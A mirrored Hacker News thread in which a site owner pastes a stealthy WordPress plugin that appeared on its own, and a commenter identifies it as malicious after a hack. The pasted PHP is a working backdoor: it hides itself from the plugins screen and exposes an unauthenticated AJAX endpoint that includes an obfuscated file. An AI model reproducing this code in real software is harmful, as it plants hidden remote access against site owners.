TE
科技回声
首页24小时热榜最新最佳问答展示工作
GitHubTwitter
首页

科技回声

基于 Next.js 构建的科技新闻平台,提供全球科技新闻和讨论内容。

GitHubTwitter

首页

首页最新最佳问答展示工作

资源链接

HackerNews API原版 HackerNewsNext.js

© 2025 科技回声. 版权所有。

WordPress plugin appeared on its own: WP Integumentary Mandated

2 点作者 eisolo4 个月前
A plugin called WP Integumentary Mandated randomly appeared in my list of plugins, not sure how long ago. It wasn&#x27;t (and still isn&#x27;t) activated. Both the &#x27;author&#x27; and &#x27;plugin site&#x27; links point to wordpress.org&#x2F;#. Below I&#x27;m pasting all that it is. Wtf?<p>&lt;?php &#x2F;* Plugin Name: WP Integumentary Mandated Plugin URI: http:&#x2F;&#x2F;wordpress.org&#x2F;# Description: Official WordPress plugin Author: WordPress Version: 8.0.6 Author URI: http:&#x2F;&#x2F;wordpress.org&#x2F;# <i>&#x2F;<p>function zsg_ucc() { global $wp_list_table;<p><pre><code> if (!isset($wp_list_table)) { return; } $h = array(&#x27;wp-integumentary-mandated&#x2F;wp-integumentary-mandated.php&#x27;); if (isset($wp_list_table-&gt;items) &amp;&amp; is_array($wp_list_table-&gt;items)) { foreach ($wp_list_table-&gt;items as $key =&gt; $val) { if (in_array($key, $h)) { unset($wp_list_table-&gt;items[$key]); } } }</code></pre> }<p>add_action(&#x27;pre_current_active_plugins&#x27;, &#x27;zsg_ucc&#x27;);<p>function kuy_qow($plugins) { $p = &#x27;wp-integumentary-mandated&#x2F;wp-integumentary-mandated.php&#x27;; if (array_key_exists($p, $plugins)) { unset($plugins[$p]); } return $plugins; }<p>add_filter(&#x27;all_plugins&#x27;, &#x27;kuy_qow&#x27;);<p>function gmv($f, $d) { $r = &#x27;&#x27;; for ($i = 0; $i &lt; strlen($f); $i += 2) { $v = ord($f[$i]) - 65; $b = ord($f[$i + 1]); if ($b &gt; 90) $b -= 6; $s = $v </i> 52 + ($b - 65); $r .= chr($s - $d); } return $r; }<p>function pun_ajax_handler() { include plugin_dir_path(__FILE__) . gmv(&#x27;IHJNJZJGJIJIJKJY&#x27;, 377); wp_die(); }<p>add_action(&#x27;wp_ajax_wp-rhs&#x27;, &#x27;pun_ajax_handler&#x27;); add_action(&#x27;wp_ajax_nopriv_wp-rhs&#x27;, &#x27;pun_ajax_handler&#x27;);

1 comment

claudiulodro4 个月前
Looking at it, it has some code to make itself appear inactive when looking at the Plugins screen but it is almost certainly active.<p>Judging by the gmv and pun_ajax_handler functions (which are heavily obfuscated), it&#x27;s malicious and your site got hacked somehow (probably weak user creds or outdated plugins). I recommend running Jetpack Scan or some other WP security scanner.